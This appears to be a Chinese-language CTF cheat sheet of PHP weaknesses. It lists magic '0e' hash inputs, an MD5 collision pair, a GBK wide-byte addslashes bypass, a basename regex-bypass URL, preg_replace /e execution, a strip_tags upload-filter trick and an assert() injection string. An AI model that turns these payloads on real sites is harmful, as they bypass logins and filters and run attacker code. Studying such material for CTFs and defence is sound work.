var_dump
var_dump( 0 == "a" ); true
var_dump( "0" == "a" ); false
因为php把字母开头的转化为整型时,转化为0, 前面数字后面字母的话就只取到第一个字母出现的位置之前(如intval(’'123abd45gf)结果为123)
md5
比较值相等
$_GET['name'] != $_GET['password']
MD5($_GET['name']) == MD5($_GET['password'])
那么要求name和password数值不同但是MD5相同,在这里可以利用绕过。 PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以“0E”开头的,那么PHP将会认为他们相同,都是0。
以下值在md5加密后以0E开头:
- QNKCDZO
- 240610708
- s878926199a
- s155964671a
- s214587387a
- s214587387a
以下值在sha1加密后以0E开头:
- sha1(‘aaroZmOk’)
- sha1(‘aaK1STfY’)
- sha1(‘aaO8zKZF’)
- sha1(‘aa3OFF9m’)
双md5
CbDLytmyGm2xQyaLNhWn
md5(CbDLytmyGm2xQyaLNhWn) => 0ec20b7c66cafbcc7d8e8481f0653d18
md5(md5(CbDLytmyGm2xQyaLNhWn)) => 0e3a5f2a80db371d4610b8f940d296af
770hQgrBOjrcqftrlaZk
md5(770hQgrBOjrcqftrlaZk) => 0e689b4f703bdc753be7e27b45cb3625
md5(md5(770hQgrBOjrcqftrlaZk)) => 0e2756da68ef740fd8f5a5c26cc45064
7r4lGXCH2Ksu2JNT3BYM
md5(7r4lGXCH2Ksu2JNT3BYM) => 0e269ab12da27d79a6626d91f34ae849
md5(md5(7r4lGXCH2Ksu2JNT3BYM)) => 0e48d320b2a97ab295f5c4694759889f
md5碰撞
if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])){
die("success!);
}
要求构造param1和param2不同,但是MD5相同,也就是说要求传入两个MD5相同的不同字符串。
Param1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
Param2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
mysql_real_escape_string()
addslashes()
%bf%27本身不是一个有效的GBK字符,但经过 addslashes() 转换后变为0xbf5c27,前面的0xbf5c是个有效的GBK字符,所以%bf5c%27会被当作一个字符%bf5c和一个单引号来处理,结果漏洞就触发了
<?php
header("Content-Type:text/html;charset=gbk");
$data = $_GET['data'];
echo addslashes($data);
basename()
basename会忽略一些奇怪的字符%80 ~ %ff
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
payload:/index.php/config.php/%81?source 绕过正则
preg_replace
preg_replace ($pattern , $replacement , $subject )
其中 $pattern为正则表达式
$replacement为替换字符串
$subject 为要搜索替换的目标字符串或字符串数组
这个函数存在一些奇异的地方,正则表达式
p
a
t
t
e
r
n
以
/
e
结
尾
时
pattern以/e结尾时
pattern以/e结尾时replacement的值会被作为php函数执行。
例如执行 preg_replace (‘/test/e’ , “phpinfo();” , “test” )
“test”会被替换为phpinfo();并执行。
md4
$_GET["hash1"] != hash("md4", $_GET["hash1"])
例子 0e251288019
md4计算后为0e874956163641961271069404332409
strip_tags
thinkphp原生代码中的upload()上传功能,会对上传的文件名执行该函数。
利用该方法可以进行前端绕过。
当php进行上传文件后缀验证,过滤.php时。
一般情况下诸如 1.php是无法上传上去的,但是此处可以通过 构造文件名为 1.<a>php绕过该验证。
文件上传后不满足.php绕过过滤,但是在tp的原生上传函数被调用是<a>被去除,文件就会被以php格式上传
assert
这个函数是php的断言函数,用来判断一个表达式是否成立。返回true or false。
注:assert执行的字符串包含的php语句如果有多条,只会执行第一条。
该表达式会被当做php函数来执行,相当于eval()
在ctf中该函数也有一定的可利用性,如xctf中的一题
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
$file为用户传入的字符串,这里构造file=’).phpinfo();//
此时语句变成了assert(“strpos(’’).phpinfo();// ===false” ) or die (" ")
相当于 assert(“strpos(’’).phpinfo();” )
phpinfo()就被注入进去并执行了。
php标签的写法
-
<?php ?> 常规写法 -
<? ?> 注: 利用短标签写法可以绕过一些对php字符的过滤
Windows环境中短标签默认是打开的,Linux下 默认是关闭的。
控制参数: php支持短标签,需要我们把short_open_tag 设置为On.
-
<% %> 注:需要配置php.ini文件。在配置文件中找到asp_tags=off ,将off改为on。改动配置文件后需要重启apache。 -
<script language=”php”> </script>
|